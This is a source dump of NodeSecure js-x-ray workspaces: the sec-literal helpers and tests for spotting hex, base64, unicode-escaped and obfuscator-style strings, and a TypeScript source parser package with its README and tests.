9 | return typeof anyValue === "object" && "type" in anyValue && anyValue.type === "Literal"; 10 | } 11 | 12 | /** 13 | * @param {SecLiteral.Literal | string} strOrLiteral 14 | * @returns {string} 15 | */ 16 | export function toValue(strOrLiteral) { 17 | return isLiteral(strOrLiteral) ? strOrLiteral.value : strOrLiteral; 18 | } 19 | 20 | /** 21 | * @param {SecLiteral.Literal | string} strOrLiteral 22 | * @returns {string} 23 | */ 24 | export function toRaw(strOrLiteral) { 25 | return isLiteral(strOrLiteral) ? strOrLiteral.raw : strOrLiteral; 26 | } 27 | 28 | /** 29 | * @param {!SecLiteral.Literal} literalValue 30 | * @returns {SecLiteral.LiteralDefaultAnalysis} 31 | */ 32 | export function defaultAnalysis(literalValue) { 33 | if (!isLiteral(literalValue)) { 34 | return null; 35 | } 36 | 37 | const hasRawValue = "raw" in literalValue; 38 | const hasHexadecimalSequence = hasRawValue ? /\\x[a-fA-F0-9]{2}/g.exec(literalValue.raw) !== null : null; 39 | const hasUnicodeSequence = hasRawValue ? /\\u[a-fA-F0-9]{4}/g.exec(literalValue.raw) !== null : null; 40 | const isBase64 = isStringBase64(literalValue.value, { allowEmpty: false }); 41 | 42 | return { hasHexadecimalSequence, hasUnicodeSequence, isBase64 }; 43 | } 44 | -------------------------------------------------------------------------------- /workspaces/sec-literal/src/patterns.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import FrequencySet from "frequency-set"; 3 | 4 | // Import Internal Dependencies 5 | import * as Literal from "./literal.js"; 6 | 7 | /** 8 | * @description get the common string prefix (at the start) pattern 9 | * @param {!string | SecLiteral} leftAnyValue 10 | * @param {!string | SecLiteral} rightAnyValue 11 | * @returns {string | null} 12 | * 13 | * @example 14 | * commonStringPrefix("boo", "foo"); // null 15 | * commonStringPrefix("bromance", "brother"); // "bro" 16 | */ 17 | export function commonStringPrefix(leftAnyValue, rightAnyValue) { 18 | const leftStr = Literal.toValue(leftAnyValue); 19 | const rightStr = Literal.toValue(rightAnyValue); 20 | 21 | // The length of leftStr cannot be greater than that rightStr 22 | const minLen = leftStr.length > rightStr.length ? rightStr.length : leftStr.length; 23 | let commonStr = ""; 24 | 25 | for (let id = 0; id < minLen; id++) { 26 | if (leftStr.charAt(id) !== rightStr.charAt(id)) { 27 | break; 28 | } 29 | 30 | commonStr += leftStr.charAt(id); 31 | } 32 | 33 | return commonStr === "" ? null : commonStr; 34 | } 35 | 36 | function reverseString(string) { 37 | return string.split("").reverse().join(""); 38 | } 39 | 40 | /** 41 | * @description get the common string suffixes (at the end) pattern 42 | * @param {!string} leftStr 43 | * @param {!string} rightStr 44 | * @returns {string | null} 45 | * 46 | * @example 47 | * commonStringSuffix("boo", "foo"); // oo 48 | * commonStringSuffix("bromance", "brother"); // null 49 | */ 50 | export function commonStringSuffix(leftStr, rightStr) { 51 | const commonPrefix = commonStringPrefix( 52 | reverseString(leftStr), 53 | reverseString(rightStr) 54 | ); 55 | 56 | return commonPrefix === null ? null : reverseString(commonPrefix); 57 | } 58 | 59 | export function commonHexadecimalPrefix(identifiersArray) { 60 | if (!Array.isArray(identifiersArray)) { 61 | throw new TypeError("identifiersArray must be an Array"); 62 | } 63 | const prefix = new FrequencySet(); 64 | 65 | mainLoop: for (const value of identifiersArray.slice().sort()) { 66 | for (const [cp, count] of prefix) { 67 | const commonStr = commonStringPrefix(value, cp); 68 | if (commonStr === null) { 69 | continue; 70 | } 71 | 72 | if (commonStr === cp || commonStr.startsWith(cp)) { 73 | prefix.add(cp); 74 | } 75 | else if (cp.startsWith(commonStr)) { 76 | prefix.delete(cp); 77 | prefix.add(commonStr, count + 1); 78 | } 79 | continue mainLoop; 80 | } 81 | 82 | prefix.add(value); 83 | } 84 | 85 | // We remove one-time occurences (because they are normal variables) 86 | let oneTimeOccurence = 0; 87 | for (const [key, value] of prefix.entries()) { 88 | if (value === 1) { 89 | prefix.delete(key); 90 | oneTimeOccurence++; 91 | } 92 | } 93 | 94 | return { 95 | oneTimeOccurence, 96 | prefix: Object.fromEntries(prefix) 97 | }; 98 | } 99 | -------------------------------------------------------------------------------- /workspaces/sec-literal/src/utils.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import isStringSvg from "is-svg"; 3 | import stringWidth from "string-width"; 4 | 5 | // Import Internal Dependencies 6 | import { toValue } from "./literal.js"; 7 | 8 | /** 9 | * @param {SecLiteral.Literal | string} strOrLiteral 10 | * @returns {boolean} 11 | */ 12 | export function isSvg(strOrLiteral) { 13 | try { 14 | const value = toValue(strOrLiteral); 15 | 16 | return isStringSvg(value) || isSvgPath(value); 17 | } 18 | catch { 19 | return false; 20 | } 21 | } 22 | 23 | /** 24 | * @description detect if a given string is a svg path or not. 25 | * @param {!string} str svg path literal 26 | * @returns {boolean} 27 | */ 28 | export function isSvgPath(str) { 29 | if (typeof str !== "string") { 30 | return false; 31 | } 32 | const trimStr = str.trim(); 33 | 34 | return trimStr.length > 4 && /^[mzlhvcsqta]\s*[-+.0-9][^mlhvzcsqta]+/i.test(trimStr) && /[\dz]$/i.test(trimStr); 35 | } 36 | 37 | /** 38 | * @description detect if a given string is a morse value. 39 | * @param {!string} str any string value 40 | * @returns {boolean} 41 | */ 42 | export function isMorse(str) { 43 | return /^[.-]{1,5}(?:[\s\t]+[.-]{1,5})*(?:[\s\t]+[.-]{1,5}(?:[\s\t]+[.-]{1,5})*)*$/g.test(str); 44 | } 45 | 46 | /** 47 | * @param {!string} str any string value 48 | * @returns {string} 49 | */ 50 | export function escapeRegExp(str) { 51 | return str.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&"); 52 | } 53 | 54 | /** 55 | * @description Get the number of unique chars in a given string 56 | * @param {!string} str string 57 | * @param {string[]} [charsToExclude=[]] 58 | * @returns {number} 59 | */ 60 | export function stringCharDiversity(str, charsToExclude = []) { 61 | const data = new Set(str); 62 | charsToExclude.forEach((char) => data.delete(char)); 63 | 64 | return data.size; 65 | } 66 | 67 | // --- 68 | const kMaxSafeStringLen = 45; 69 | const kMaxSafeStringCharDiversity = 70; 70 | const kMinUnsafeStringLenThreshold = 200; 71 | const kScoreStringLengthThreshold = 750; 72 | 73 | /** 74 | * @description Analyze a given string an give it a suspicion score (higher than 1 or 2 mean that the string is highly suspect). 75 | * @param {!string} str string to analyze 76 | * @returns {number} 77 | */ 78 | export function stringSuspicionScore(str) { 79 | const strLen = stringWidth(str); 80 | if (strLen < kMaxSafeStringLen) { 81 | return 0; 82 | } 83 | 84 | const includeSpace = str.includes(" "); 85 | const includeSpaceAtStart = includeSpace ? str.slice(0, kMaxSafeStringLen).includes(" ") : false; 86 | 87 | let suspectScore = includeSpaceAtStart ? 0 : 1; 88 | if (strLen > kMinUnsafeStringLenThreshold) { 89 | suspectScore += Math.ceil(strLen / kScoreStringLengthThreshold); 90 | } 91 | 92 | return stringCharDiversity(str) >= kMaxSafeStringCharDiversity ? suspectScore + 2 : suspectScore; 93 | } 94 | -------------------------------------------------------------------------------- /workspaces/sec-literal/test/hex.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { randomBytes } from "node:crypto"; 3 | import { describe, test } from "node:test"; 4 | import assert from "node:assert"; 5 | 6 | // Import Internal Dependencies 7 | import { isHex, isSafe, CONSTANTS } from "../src/hex.js"; 8 | import { createLiteral } from "./utils/index.js"; 9 | 10 | describe("isHex()", () => { 11 | test("must return true for random 4 character hexadecimal values", () => { 12 | const hexValue = randomBytes(4).toString("hex"); 13 | 14 | assert.strictEqual(isHex(hexValue), true, `Hexadecimal value '${hexValue}' must return true`); 15 | }); 16 | 17 | test("must return true for ESTree Literals containing random 4 character hexadecimal values", () => { 18 | const hexValue = createLiteral(randomBytes(4).toString("hex")); 19 | 20 | assert.strictEqual(isHex(hexValue), true, `Hexadecimal value '${hexValue.value}' must return true`); 21 | }); 22 | 23 | test("An hexadecimal value must be at least 4 chars long", () => { 24 | const hexValue = randomBytes(1).toString("hex"); 25 | 26 | assert.strictEqual(isHex(hexValue), false, `Hexadecimal value '${hexValue}' must return false`); 27 | }); 28 | 29 | test("should return false for non-string/ESTree Literal values", () => { 30 | const hexValue = 100; 31 | 32 | assert.strictEqual(isHex(hexValue), false, "100 is typeof number so it must always return false"); 33 | }); 34 | }); 35 | 36 | describe("isSafe()", () => { 37 | test("must return true for a value with a length lower or equal five characters", () => { 38 | assert.ok(isSafe("h2l5x")); 39 | }); 40 | 41 | test("must return true if the string diversity is only two characters or lower", () => { 42 | assert.ok(isSafe("aaaaaaaaaaaaaabbbbbbbbbbbbb")); 43 | }); 44 | 45 | test("must always return true if argument is only number, lower or upper letters", () => { 46 | const values = ["00000000", "aaaaaaaa", "AAAAAAAAA"]; 47 | 48 | for (const hexValue of values) { 49 | assert.ok(isSafe(hexValue)); 50 | } 51 | }); 52 | 53 | test("must always return true if the value start with one of the 'safe' values", () => { 54 | for (const safeValue of CONSTANTS.SAFE_HEXA_VALUES) { 55 | const hexValue = safeValue + randomBytes(4).toString("hex"); 56 | 57 | assert.ok(isSafe(hexValue)); 58 | } 59 | }); 60 | 61 | test("must return true because it start with a safe pattern (and it must lowerCase the string)", () => { 62 | assert.ok(isSafe("ABCDEF1234567890")); 63 | }); 64 | 65 | test("must always return false if the value start with one of the 'unsafe' values", () => { 66 | for (const unsafeValue of CONSTANTS.UNSAFE_HEXA_VALUES) { 67 | assert.strictEqual(isSafe(unsafeValue), false); 68 | } 69 | }); 70 | }); 71 | -------------------------------------------------------------------------------- /workspaces/sec-literal/test/literal.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { randomBytes } from "node:crypto"; 3 | import { test } from "node:test"; 4 | import assert from "node:assert"; 5 | 6 | // Import Internal Dependencies 7 | import { isLiteral, toValue, toRaw, defaultAnalysis } from "../src/literal.js"; 8 | import { createLiteral } from "./utils/index.js"; 9 | 10 | test("isLiteral must return true for a valid ESTree Literal Node", () => { 11 | const literalSample = createLiteral("boo"); 12 | 13 | assert.strictEqual(isLiteral(literalSample), true); 14 | assert.strictEqual(isLiteral("hey"), false); 15 | assert.strictEqual(isLiteral({ type: "fake", value: "boo" }), false); 16 | }); 17 | 18 | test("toValue must return a string when we give a valid EStree Literal", () => { 19 | const literalSample = createLiteral("boo"); 20 | 21 | assert.strictEqual(toValue(literalSample), "boo"); 22 | assert.strictEqual(toValue("hey"), "hey"); 23 | }); 24 | 25 | test("toRaw must return a string when we give a valid EStree Literal", () => { 26 | const literalSample = createLiteral("boo", true); 27 | 28 | assert.strictEqual(toRaw(literalSample), "boo"); 29 | assert.strictEqual(toRaw("hey"), "hey"); 30 | }); 31 | 32 | test("defaultAnalysis() of something else than a Literal must always return null", () => { 33 | assert.strictEqual(defaultAnalysis(10), null); 34 | }); 35 | 36 | test("defaultAnalysis() of an Hexadecimal value", () => { 37 | const hexValue = randomBytes(10).toString("hex"); 38 | 39 | const result = defaultAnalysis(createLiteral(hexValue, true)); 40 | const expected = { 41 | isBase64: true, hasHexadecimalSequence: false, hasUnicodeSequence: false 42 | }; 43 | 44 | assert.deepEqual(result, expected); 45 | }); 46 | 47 | test("defaultAnalysis() of an Base64 value", () => { 48 | const hexValue = randomBytes(10).toString("base64"); 49 | 50 | const result = defaultAnalysis(createLiteral(hexValue, true)); 51 | const expected = { 52 | isBase64: true, hasHexadecimalSequence: false, hasUnicodeSequence: false 53 | }; 54 | 55 | assert.deepEqual(result, expected); 56 | }); 57 | 58 | test("defaultAnalysis() of an Unicode Sequence", () => { 59 | const unicodeSequence = createLiteral("'\\u0024\\u0024'", true); 60 | 61 | const result = defaultAnalysis(unicodeSequence); 62 | const expected = { 63 | isBase64: false, hasHexadecimalSequence: false, hasUnicodeSequence: true 64 | }; 65 | 66 | assert.deepEqual(result, expected); 67 | }); 68 | 69 | test("defaultAnalysis() of an Unicode Sequence", () => { 70 | const hexSequence = createLiteral("'\\x64\\x61\\x74\\x61'", true); 71 | 72 | const result = defaultAnalysis(hexSequence); 73 | const expected = { 74 | isBase64: false, hasHexadecimalSequence: true, hasUnicodeSequence: false 75 | }; 76 | 77 | assert.deepEqual(result, expected); 78 | }); 79 | 80 | test("defaultAnalysis() with a Literal with no 'raw' property must return two null values", () => { 81 | const hexValue = randomBytes(10).toString("base64"); 82 | 83 | const result = defaultAnalysis(createLiteral(hexValue)); 84 | const expected = { 85 | isBase64: true, hasHexadecimalSequence: null, hasUnicodeSequence: null 86 | }; 87 | 88 | assert.deepEqual(result, expected); 89 | }); 90 | -------------------------------------------------------------------------------- /workspaces/sec-literal/test/patterns.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { describe, test } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { 7 | commonStringPrefix, 8 | commonStringSuffix, 9 | commonHexadecimalPrefix 10 | } from "../src/patterns.js"; 11 | 12 | describe("commonStringPrefix()", () => { 13 | test("must return null for two strings that have no common prefix", () => { 14 | assert.strictEqual( 15 | commonStringPrefix("boo", "foo"), 16 | null, 17 | "there is no common prefix between 'boo' and 'foo' so the result must be null" 18 | ); 19 | }); 20 | 21 | test("should return the common prefix for strings with a shared prefix", () => { 22 | assert.strictEqual( 23 | commonStringPrefix("bromance", "brother"), 24 | "bro", 25 | "the common prefix between bromance and brother must be 'bro'." 26 | ); 27 | }); 28 | }); 29 | 30 | describe("commonStringSuffix()", () => { 31 | test("must return the common suffix for the two strings with a shared suffix", () => { 32 | assert.strictEqual( 33 | commonStringSuffix("boo", "foo"), 34 | "oo", 35 | "the common suffix between boo and foo must be 'oo'" 36 | ); 37 | }); 38 | 39 | test("must return null for two strings with no common suffix", () => { 40 | assert.strictEqual( 41 | commonStringSuffix("bromance", "brother"), 42 | null, 43 | "there is no common suffix between 'bromance' and 'brother' so the result must be null" 44 | ); 45 | }); 46 | }); 47 | 48 | describe("commonHexadecimalPrefix()", () => { 49 | test("should throw a TypeError if identifiersArray is not an Array", () => { 50 | assert.throws(() => commonHexadecimalPrefix(10), { 51 | name: "TypeError", 52 | message: "identifiersArray must be an Array" 53 | }); 54 | }); 55 | 56 | test("should handle only hexadecimal identifiers", () => { 57 | const data = [ 58 | "_0x3c0c55", "_0x1185d5", "_0x160fc8", "_0x18a66f", "_0x18a835", "_0x1a8356", 59 | "_0x1adf3b", "_0x1e4510", "_0x1e9a2a", "_0x215558", "_0x2b0194", "_0x2fffe5", 60 | "_0x32c822", "_0x33bb79" 61 | ]; 62 | const result = commonHexadecimalPrefix(data); 63 | 64 | assert.strictEqual(result.oneTimeOccurence, 0); 65 | assert.strictEqual(result.prefix._0x, data.length); 66 | }); 67 | 68 | test("should add one non-hexadecimal identifier", () => { 69 | const data = [ 70 | "_0x3c0c55", "_0x1185d5", "_0x160fc8", "_0x18a66f", "_0x18a835", "_0x1a8356", 71 | "_0x1adf3b", "_0x1e4510", "_0x1e9a2a", "_0x215558", "_0x2b0194", "_0x2fffe5", 72 | "_0x32c822", "_0x33bb79", "foo" 73 | ]; 74 | const result = commonHexadecimalPrefix(data); 75 | 76 | assert.strictEqual(result.oneTimeOccurence, 1); 77 | assert.strictEqual(result.prefix._0x, data.length - 1); 78 | }); 79 | }); 80 | -------------------------------------------------------------------------------- /workspaces/sec-literal/test/utils.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { randomBytes } from "node:crypto"; 3 | import { test } from "node:test"; 4 | import assert from "node:assert"; 5 | 6 | // Import Internal Dependencies 7 | import { stringCharDiversity, isSvg, isSvgPath, stringSuspicionScore } from "../src/utils.js"; 8 | 9 | test("stringCharDiversity must return the number of unique chars in a given string", () => { 10 | assert.strictEqual( 11 | stringCharDiversity("helloo!"), 12 | 5, 13 | "the following string 'helloo!' contains five unique chars: h, e, l, o and !" 14 | ); 15 | }); 16 | 17 | test("stringCharDiversity must return the number of unique chars in a given string (but with exclusions of given chars)", () => { 18 | assert.strictEqual(stringCharDiversity("- - -\n", ["\n"]), 2); 19 | }); 20 | 21 | test("isSvg must return true for an HTML svg balise", () => { 22 | const SVGHTML = ` 24 | 25 | 26 | 27 | 28 | `; 29 | assert.strictEqual(isSvg(SVGHTML), true); 30 | }); 31 | 32 | test("isSvg of a SVG Path must return true", () => { 33 | assert.strictEqual(isSvg("M150 0 L75 200 L225 200 Z"), true); 34 | }); 35 | 36 | test("isSvg must return false for invalid XML string", () => { 37 | assert.strictEqual(isSvg(""), false); 38 | }); 39 | 40 | test("isSvgPath must return true when we give a valid svg path and false when the string is not valid", () => { 41 | assert.strictEqual(isSvgPath("M150 0 L75 200 L225 200 Z"), true); 42 | assert.strictEqual(isSvgPath("M150"), false, "the length of an svg path must be always higher than four characters"); 43 | assert.strictEqual(isSvgPath("hello world!"), false); 44 | assert.strictEqual( 45 | isSvgPath(10), 46 | false, 47 | "isSvgPath argument must always return false for anything that is not a string primitive" 48 | ); 49 | }); 50 | 51 | test("stringSuspicionScore must always return 0 if the string length if below 45", () => { 52 | for (let strSize = 1; strSize < 45; strSize++) { 53 | // We generate a random String (with slice it in two because a size of 20 for hex is 40 bytes). 54 | const randomStr = randomBytes(strSize).toString("hex").slice(strSize); 55 | 56 | assert.strictEqual(stringSuspicionScore(randomStr), 0); 57 | } 58 | }); 59 | 60 | test("stringSuspicionScore must return one if the str is between 45 and 200 chars and had no space in the first 45 chars", () => { 61 | const randomStrWithNoSpaces = randomBytes(25).toString("hex"); 62 | 63 | assert.strictEqual(stringSuspicionScore(randomStrWithNoSpaces), 1); 64 | }); 65 | 66 | test(`stringSuspicionScore must return zero if the str is between 45 and 200 char 67 | and has at least one space in the first 45 chars`, () => { 68 | const randomStrWithSpaces = randomBytes(10).toString("hex") + " -_- " + randomBytes(30).toString("hex"); 69 | 70 | assert.strictEqual(stringSuspicionScore(randomStrWithSpaces), 0); 71 | }); 72 | 73 | test("stringSuspicionScore must return a score of two for a string with more than 200 chars and no spaces", () => { 74 | const randomStr = randomBytes(200).toString("hex"); 75 | 76 | assert.strictEqual(stringSuspicionScore(randomStr), 2); 77 | }); 78 | 79 | test("stringSuspicionScore must add two to the final score when the string has more than 70 uniques chars", () => { 80 | const randomStr = "૱꠸┯┰┱┲❗►◄Ăă0123456789ᶀᶁᶂᶃᶄᶆᶇᶈᶉᶊᶋᶌᶍᶎᶏᶐᶑᶒᶓᶔᶕᶖᶗᶘᶙᶚᶸᵯᵰᵴᵶᵹᵼᵽᵾᵿ⤢⤣⤤⤥⥆⥇™°×π±√ "; 81 | 82 | assert.strictEqual(stringSuspicionScore(randomStr), 3); 83 | }); 84 | -------------------------------------------------------------------------------- /workspaces/sec-literal/test/utils/index.js: -------------------------------------------------------------------------------- 1 | // @see https://github.com/estree/estree/blob/master/es5.md#literal 2 | export function createLiteral(value, includeRaw = false) { 3 | const node = { type: "Literal", value }; 4 | if (includeRaw) { 5 | node.raw = value; 6 | } 7 | 8 | return node; 9 | } 10 | 11 | -------------------------------------------------------------------------------- /workspaces/ts-source-parser/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 NodeSecure 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /workspaces/ts-source-parser/README.md: -------------------------------------------------------------------------------- 1 | # ts-source-parser 2 | [![version](https://img.shields.io/github/package-json/v/NodeSecure/js-x-ray?filename=workspaces%2Fts-source-parser%2Fpackage.json&style=for-the-badge)](https://www.npmjs.com/package/@nodesecure/ts-source-parser) 3 | [![maintained](https://img.shields.io/badge/Maintained%3F-yes-green.svg?style=for-the-badge)](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/ts-source-parser/graphs/commit-activity) 4 | [![OpenSSF 5 | Scorecard](https://api.securityscorecards.dev/projects/github.com/NodeSecure/js-x-ray/badge?style=for-the-badge)](https://api.securityscorecards.dev/projects/github.com/NodeSecure/js-x-ray) 6 | [![mit](https://img.shields.io/github/license/NodeSecure/js-x-ray?style=for-the-badge)](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/ts-source-parser/LICENSE) 7 | [![build](https://img.shields.io/github/actions/workflow/status/NodeSecure/js-x-ray/ts-source-parser.yml?style=for-the-badge)](https://github.com/NodeSecure/js-x-ray/actions?query=workflow%3A%22sec+literal+CI%22) 8 | 9 | This package provide a TypeScript source parser for the `@nodesecure/js-x-ray` project. 10 | 11 | ## Getting Started 12 | 13 | This package is available in the Node Package Repository and can be easily installed with [npm](https://docs.npmjs.com/getting-started/what-is-npm) or [yarn](https://yarnpkg.com). 14 | 15 | ```bash 16 | $ npm i @nodesecure/ts-source-parser 17 | # or 18 | $ yarn add @nodesecure/ts-source-parser 19 | ``` 20 | 21 | ## Usage example 22 | ```js 23 | import { TsSourceParser } from "@nodesecure/ts-source-parser"; 24 | 25 | const parser = new TsSourceParser(); 26 | const body = parser.parse("const x: number = 5;"); 27 | 28 | console.log(body); 29 | ``` 30 | 31 | ## Usage with `js-x-ray` 32 | ```js 33 | import { AstAnalyser } from "@nodesecure/js-x-ray"; 34 | import { readFileSync } from "node:fs"; 35 | 36 | const { warnings, dependencies } = runASTAnalysis( 37 | readFileSync("./file.ts", "utf-8"), 38 | { customParser: new TsSourceParser() } 39 | ); 40 | 41 | console.log(dependencies); 42 | console.dir(warnings, { depth: null }); 43 | ``` 44 | -------------------------------------------------------------------------------- /workspaces/ts-source-parser/index.d.ts: -------------------------------------------------------------------------------- 1 | import { tsParsingOptions } from "./src/TsSourceParser"; 2 | 3 | declare class TsSourceParser { 4 | parse( 5 | code: string, 6 | options = tsParsingOptions, 7 | ): TSESTree.Program; 8 | } 9 | -------------------------------------------------------------------------------- /workspaces/ts-source-parser/index.js: -------------------------------------------------------------------------------- 1 | export { TsSourceParser } from "./src/TsSourceParser.js"; 2 | -------------------------------------------------------------------------------- /workspaces/ts-source-parser/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@nodesecure/ts-source-parser", 3 | "version": "1.0.0", 4 | "description": "TypeScript parser for AST XRay analysis", 5 | "type": "module", 6 | "exports": "./index.js", 7 | "types": "./index.d.ts", 8 | "scripts": { 9 | "lint": "eslint src test", 10 | "test-only": "glob -c \"node --test-reporter=spec --test\" \"./test/**/*.spec.js\"", 11 | "test": "c8 --all --src ./src -r html npm run test-only", 12 | "check": "npm run lint && npm run test" 13 | }, 14 | "repository": { 15 | "type": "git", 16 | "url": "git+https://github.com/NodeSecure/js-x-ray.git" 17 | }, 18 | "keywords": [ 19 | "typescript", 20 | "estree", 21 | "ast", 22 | "utils" 23 | ], 24 | "files": [ 25 | "src" 26 | ], 27 | "author": "Michelet Jean ", 28 | "license": "MIT", 29 | "bugs": { 30 | "url": "https://github.com/NodeSecure/js-x-ray/issues" 31 | }, 32 | "homepage": "https://github.com/NodeSecure/js-x-ray/tree/master/workspaces/ts-source-parser#readme", 33 | "dependencies": { 34 | "@typescript-eslint/typescript-estree": "^8.0.0" 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /workspaces/ts-source-parser/src/TsSourceParser.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { parse } from "@typescript-eslint/typescript-estree"; 3 | 4 | // CONSTANTS 5 | export const tsParsingOptions = { 6 | jsDocParsingMode: "none", 7 | jsx: true, 8 | loc: true, 9 | range: false 10 | }; 11 | 12 | export class TsSourceParser { 13 | /** 14 | * @param {object} options 15 | */ 16 | parse(source, options = {}) { 17 | const { body } = parse(source, { 18 | ...tsParsingOptions, 19 | ...options 20 | }); 21 | 22 | return body; 23 | } 24 | } 25 | 26 | -------------------------------------------------------------------------------- /workspaces/ts-source-parser/test/TsSourceParser.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { describe, it } from "node:test"; 3 | import assert from "assert/strict"; 4 | 5 | // Import Internal Dependencies 6 | import { TsSourceParser } from "../src/TsSourceParser.js"; 7 | 8 | describe("TsSourceParser", () => { 9 | describe("parse", () => { 10 | const parser = new TsSourceParser(); 11 | 12 | it("should correctly parse with default options", () => { 13 | const source = "const x: number = 5;"; 14 | const body = parser.parse(source); 15 | 16 | assert.strictEqual(body[0].type, "VariableDeclaration"); 17 | assert.ok(body[0].loc); 18 | assert.ok(body[0].range === undefined); 19 | }); 20 | 21 | it("should correctly parse with custom options", () => { 22 | const source = "const x: number = 5;"; 23 | const body = parser.parse(source, { loc: false, range: true }); 24 | 25 | assert.strictEqual(body[0].type, "VariableDeclaration"); 26 | assert.ok(body[0].loc === undefined); 27 | assert.ok(body[0].range); 28 | }); 29 | 30 | it("should not crash parsing JSX by default", () => { 31 | const source = `const Dropzone = forwardRef(({ children, ...params }, ref) => { 32 | const { open, ...props } = useDropzone(params); 33 | useImperativeHandle(ref, () => ({ open }), [open]); 34 | return {children({ ...props, open })}; 35 | });`; 36 | 37 | assert.doesNotThrow(() => { 38 | parser.parse(source); 39 | }); 40 | }); 41 | 42 | it("should crash parsing JSX if jsx: false", () => { 43 | const source = `const Dropzone = forwardRef(({ children, ...params }, ref) => { 44 | const { open, ...props } = useDropzone(params); 45 | useImperativeHandle(ref, () => ({ open }), [open]); 46 | return {children({ ...props, open })}; 47 | });`; 48 | 49 | assert.throws(() => { 50 | parser.parse(source, { jsx: false }); 51 | }); 52 | }); 53 | }); 54 | }); 55 | --------------------------------------------------------------------------------